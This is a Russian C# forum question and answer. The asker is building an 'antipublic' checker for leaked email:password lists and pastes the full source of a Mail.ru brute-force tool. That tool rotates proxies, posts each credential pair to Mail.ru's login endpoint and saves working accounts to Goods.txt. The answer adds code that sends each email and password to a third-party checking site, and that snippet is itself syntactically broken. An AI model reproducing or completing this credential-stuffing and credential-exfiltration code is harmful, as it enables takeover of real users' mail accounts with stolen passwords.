.NET 4.x Извлечь подстроки из строк после string.split - C#
Формулировка задачи:
Добрый вечер, народ помогите пожалуйста я где-то находил пример даже адаптировал в свой код когда тестировал, но потом намутил там дальше и у меня перестало всё работать, а после компиляции сохранился новый код и я потерял, тот где у меня всё работало. Суть такова у менять есть текстовый файл с имейлами.
строки вида
removed@mail.ru:123
removed@mail.ru;5345
По идее
Должно разделить файл который я загрузил на первую подстроку до символа @ вторую до символа : и третью после символа :
Мучаюсь вопросом как теперь мне извлечь для дальнейшей работы. То есть мне как-нибудь их надо извлечь и добавить в переменные. Может кто поможет как это можно реализовать, благодарю заранее.
Делал по образу вот этой программы только там на викинг енджин, я вот и не могу понять откуда там переменные стринг mail, domain, pass , или они были из библиотеки викинг енджина взяты ?
accs.Split('@', ':');
WebRequest reqGet = WebRequest.Create(@"http://demo26.ru/check.php?"+логин(1подстрока из сплита)+домен(2построка из сплита+пароль(3подстрока из сплита));
private static Queue<string> _source = new Queue<string>(); private void button1_Click(object sender, EventArgs e) { String time = DateTime.Now.ToString("yyyy.MM.dd_HH-mm-ss"); var path = Directory.CreateDirectory("Antipublic" + time); var open = new OpenFileDialog { InitialDirectory = Application.StartupPath, Filter = @"Текстовые файлы|*.txt" }; if (open.ShowDialog() != DialogResult.OK) MessageBox.Show(@"Файл не выбран"); _source = new Queue<string>(File.ReadAllLines(open.FileName)); label1.Text = _source.Count().ToString(CultureInfo.InvariantCulture); string accs = string.Empty; accs = _source.Dequeue(); if (accs.Contains(":")) { accs.Split('@', ':'); File.Create(path + "Паблик " + "(" + time + ")" + ".txt"); } else if (accs.Contains(";")) { accs.Split('@', ';'); } } } }
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; using System.IO; using ViKing.Engine; using ViKing.Engine.GUI; namespace Mail.ru_brute_by_Sharper { public partial class Mail : Form { public Mail() { InitializeComponent(); Application.ThreadException += (obj, e) => ExceptionDialog.Show(e.Exception); } public bool work = false; static object lockers = new object(); public int all = 0; private static Queue<string> source = new Queue<string>(); Queue<Proxy> proxies = new Queue<Proxy>(); Queue<Proxy> loadsproxy = new Queue<Proxy>(); JobManager manager; int errors = 0; JobManager managerProxy; private void threadbox_ValueChanged(object sender, EventArgs e) { try { if (manager != null) manager.PreferredThreadCount = (int)threadbox.Value; } catch { } } public void WorkMail(string mail, string domain, string pass) { try { Proxy p = null; if (useproxy.Checked) { lock (lockers) { if (proxies.Count == 0) { work = false; MessageBox.Show("Закончились прокси !"); return; } else p = proxies.Dequeue(); } } ViKing.Engine.CookieCollection cokis = new ViKing.Engine.CookieCollection(); string headers = string.Empty; if (useproxy.Checked) { headers = Convert.ToString(VkRequest.Request(@"http://win.mail.ru/cgi-bin/auth?Login=" + mail + "&Domain=" + domain + "&Password=" + pass, proxy: p, FollowRedirects: false, cookies: cokis, method: "POST").Headers); } else { headers = Convert.ToString(VkRequest.Request(@"http://win.mail.ru/cgi-bin/auth?Login=" + mail + "&Domain=" + domain + "&Password=" + pass, FollowRedirects: false, cookies: cokis, method: "POST").Headers); } if (useproxy.Checked) { Invoke(new System.EventHandler(delegate { proxies.Enqueue(p); })); } if (headers.Contains("Mpop=")) { Invoke(new System.EventHandler(delegate { goodslabel.Text = Convert.ToString(Convert.ToInt32(goodslabel.Text) + 1); System.IO.File.AppendAllText("Goods.txt", mail + "@" + domain + ":" + pass + "\r\n"); goodsbox.AppendText(mail + "@" + domain + ":" + pass + "\r\n"); })); } else { Invoke(new System.EventHandler(delegate { badslabel.Text = Convert.ToString(Convert.ToInt32(badslabel.Text) + 1); })); } } catch { return; } } public void working() { while (work) { try { string accs = string.Empty; lock (lockers) { if (source.Count == 0) { work = false; manager.StopJob("Завершили работу."); return; } else accs = source.Dequeue(); } string[] mailAcc = null; if (accs.Contains(":")) { mailAcc = accs.Split('@', ':'); } else if (accs.Contains(";")) { mailAcc = accs.Split('@', ';'); } Invoke(new System.EventHandler(delegate { pro.Text = Convert.ToString(Convert.ToInt32(pro.Text) + 1); })); WorkMail(mailAcc[0], mailAcc[1], mailAcc[2]); } catch { continue; } } } private void load_base_Click(object sender, EventArgs e) { try { using (OpenFileDialog op = new OpenFileDialog() { InitialDirectory = Application.StartupPath, FileName = String.Empty, Filter = "Text Files|*.txt" }) { if (op.ShowDialog() == DialogResult.OK) { source = new Queue<string>(File.ReadAllLines(op.FileName)); all = (source.Count); alls.Text = Convert.ToString(all); MessageBox.Show(this, "Загрузили " + source.Count + " аккаунтов !", "Mail brute - source", MessageBoxButtons.OK, MessageBoxIcon.Asterisk); } } } catch { } } public void checkproxy() { while (true) { try { Proxy p = null; lock (lockers) { if (loadsproxy.Count == 0) { managerProxy.StopJob(""); break; } else p = loadsproxy.Dequeue(); } string headers = Convert.ToString(VkRequest.Request(@"http://win.mail.ru/cgi-bin/auth?Login=CheckerProxy&Domain=mail.ru&Password=sharperforsharper", proxy: p, FollowRedirects: false, method: "POST").Headers); if (headers.Contains("Mpop=")) { Invoke(new System.EventHandler(delegate { proxies.Enqueue(p); })); } } catch { } } } private void Mail_FormClosing(object sender, FormClosingEventArgs e) { try { work = false; Application.Exit(); managerProxy.StopJob(""); manager.StopJob("Завершаем работу."); } catch { Application.Exit(); } } private void stop_Click(object sender, EventArgs e) { try { work = false; manager.StopJob("Завершаем работу."); } catch { } } private void worktime_Tick(object sender, EventArgs e) { try { if (manager != null) threadslabel.Text = Convert.ToString(manager.ThreadCount); proxylabel.Text = Convert.ToString(proxies.Count); } catch { return; } } private void start_Click(object sender, EventArgs e) { try { pro.Text = "0"; goodslabel.Text = "0"; badslabel.Text = "0"; ViKing.Engine.VkRequest.Timeout = 10000; goodsbox.Clear(); if (source.Count == 0) { MessageBox.Show(this, "Не найдено аккаунтов, не возможно начать работу.", "Mail brute - source", MessageBoxButtons.OK, MessageBoxIcon.Stop); return; } else { if (useproxy.Checked) { if (proxies.Count == 0) { MessageBox.Show(this, "Не найдено проксей, не возможно начать работу.", "Mail brute - proxy", MessageBoxButtons.OK, MessageBoxIcon.Stop); return; } else { work = true; manager = new JobManager(working); manager.PreferredThreadCount = (int)threadbox.Value; manager.JobCompleted += (obj, args) => { MessageBox.Show(args.Reason + "\r\n"); }; manager.Start(); } } else { work = true; manager = new JobManager(working); manager.PreferredThreadCount = (int)threadbox.Value; manager.JobCompleted += (obj, args) => { MessageBox.Show(args.Reason + "\r\n"); }; manager.Start(); } } } catch { return; } } private void load_proxy_Click(object sender, EventArgs e) { try { var d = new OpenFileDialog(); d.InitialDirectory = Application.StartupPath; d.FileName = String.Empty; d.Filter = "HTTP прокси|*.txt|Socks4 прокси|*.txt|Socks5 прокси|*.txt"; if (d.ShowDialog() == DialogResult.OK) { loadsproxy.Clear(); proxies.Clear(); ProxyTypes type = ProxyTypes.HTTP; ; type = ProxyTypes.HTTP; switch (d.FilterIndex) { case 1: type = ProxyTypes.HTTP; break; case 2: type = ProxyTypes.Socks4; break; case 3: type = ProxyTypes.Socks5; break; default: type = ProxyTypes.HTTP; break; } string[] file = File.ReadAllLines(d.FileName); if (usecheckproxy.Checked) { foreach (var line in file) try { loadsproxy.Enqueue(new Proxy(line, type)); } catch { } MessageBox.Show(this, "Успешно загрузили " + loadsproxy.Count + " проксей типа: " + type.ToString(), "Mail brute - proxy", MessageBoxButtons.OK, MessageBoxIcon.Asterisk); managerProxy = new JobManager(checkproxy); managerProxy.PreferredThreadCount = 100; managerProxy.JobCompleted += (obj, args) => { MessageBox.Show(args.Reason + "\r\n"); }; managerProxy.Start(); } else { foreach (var line in file) try { proxies.Enqueue(new Proxy(line, type)); } catch { } MessageBox.Show(this, "Успешно загрузили " + proxies.Count + " проксей типа: " + type.ToString(), "Mail brute - proxy", MessageBoxButtons.OK, MessageBoxIcon.Asterisk); } } } catch { } } private void useproxy_CheckedChanged(object sender, EventArgs e) { if (useproxy.Checked) { load_proxy.Enabled = true; usecheckproxy.Enabled = true; } else { load_proxy.Enabled = false; usecheckproxy.Enabled = false; } } } }
Решение задачи: «.NET 4.x Извлечь подстроки из строк после string.split»
textual
Листинг программы
WebRequest reqGet = WebRequest.Create(@"http://demo26.ru/check.php?" + "mail=" + strsplit[i] + "@" + strsplit[i + 1] + "&pass=" + strsplit[i + 2] + "&add=" + param); var resp = reqGet.GetResponse(); var stream = resp.GetResponseStream(); if (stream != null) { var sr = new StreamReader(stream); var s = sr.ReadToEnd(); textBox1.Text = s; if (s.Contains("PUBLIC")) { File.Create("bad.txt"); } else { if (s.Contains("PRIVATE")) ; File.Create("good.txt").; }
ИИ поможет Вам:
- решить любую задачу по программированию
- объяснить код
- расставить комментарии в коде
- и т.д